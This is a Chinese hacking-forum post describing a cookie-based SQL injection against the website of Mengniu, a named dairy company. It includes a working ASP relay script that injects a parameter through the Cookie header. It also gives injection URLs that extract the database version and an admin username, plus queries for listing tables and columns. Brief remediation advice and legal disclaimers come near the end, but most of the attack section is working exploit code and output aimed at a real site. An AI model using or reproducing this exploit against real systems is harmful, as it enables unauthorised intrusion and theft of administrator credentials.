- 帖子
- 120
- 积分
- 470
- 威望
- 636
- 金钱
- 101
- 在线时间
- 31 小时
|
三鹿网站被黑. 蒙牛被黑.全都是SQL注入..
今天对蒙牛,伊利网站简单检测了下,均存在漏洞,只是懒的研究....懒的研究..这里只说下蒙牛的漏洞所在和修补方法
此文只限和广大网络安全爱好者进行学习交流,本文纯属周末无聊,请大侠们一笑置之,无须理会.
本文仅限学习交流使用,利用该文造成任何破坏或触犯法律的事,均与本人无关!!!
呵呵 一大堆废话呐 还是赶快进入正题吧!!
进入蒙牛网站,我们会看到一个搜索框...想必大家都知道这搜索框一般都是好东西.. 输入1单引号,如fuck' 提交..
错误:0x80040E14
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]第 1 行: '%' 附近有语法错误。
这里我们不管他 不过你喜欢的话可以使用搜索型注入试试看呐,我们这里现在主要说一个更严重的漏洞.
该程序使用通用防注入过滤了地址栏提交的单引号,如:
http://www.mengniu.com.cn/qywh_mnqywh.asp?IID=11'
是不可以注入的.但程序员在处理时,仅使用了request("iid")来获取数据,这样造成cookies注入的存在.
为了注入方便,简单写了个利用cookies注入的小程序,基本原理如下:
Str="iid="&escape(request("FK"))
Url="http://www.mengniu.com.cn/qywh_mnqywh.asp"
response.write PostData(Url,Str)
Function PostData(PostUrl,PostCok)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.SetRequestHeader "Cookie",PostCok
.Send
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
OK .我们来试试
http://localhost/f.asp?fk=11'
返回
> 企业文化> 蒙牛企业文化 > 错误:0x80040E14
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
对了,这样就方便多了嘛..
继续试试?
f.asp?fk=11%20and%201=([email=select%20@@version]select%20@@version[/email])
企业文化> 蒙牛企业文化 > 错误:0x80040E07
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.2050 (Intel X86) Mar 7 2008 21:29:56 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' 转换为数据类型为 int 的列时发生语法错误。
中间省略..
http://localhost/f.asp?fk=11%20and%201=(select%20top%201%20SysU_Usernaem%20from%20sysa_admin)
> 企业文化> 蒙牛企业文化 > 错误:0x80040E07
描述:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'admin' 转换为数据类型为 int 的列时发生语法错误。
剩下的大家都知道怎么做了吧..
这帖子没有什么技术含量,得到的权限很低..只能改改数据传传木马,呵呵大家不要乱来呐,:handshake :handshake :handshake :handshake :handshake
补充一下:
知道后台么?
你人品好,我就告诉你..严禁破坏,否则去坐牢,别拉我...我是无辜的哦...
该漏洞修补办法:
请对代码中的request对象进行检查,如果存在
request("iid")等类似用法,请使用clng(request.QueryString("iid"))
对于首页搜索型提交的字符,请使用replace(request.form("newstr"),"'","''")
即可修复此漏洞.
郑重声明:此文章仅限学习和交流,利用本文造成一切后果及法律责任请自负!!!!
我只进后台,但我没有修改数据呵呵 老实人呐
哎! 别问怎么知道他的管理员表名和字段名的?这种问题太高了:L :L
SQL库利用方法:
列表名:
select name from sysobjects where xtype='U'
列字段:
select name from syscolumns where id=object_id('表名')
具体用法请自行研究吧.:handshake |
|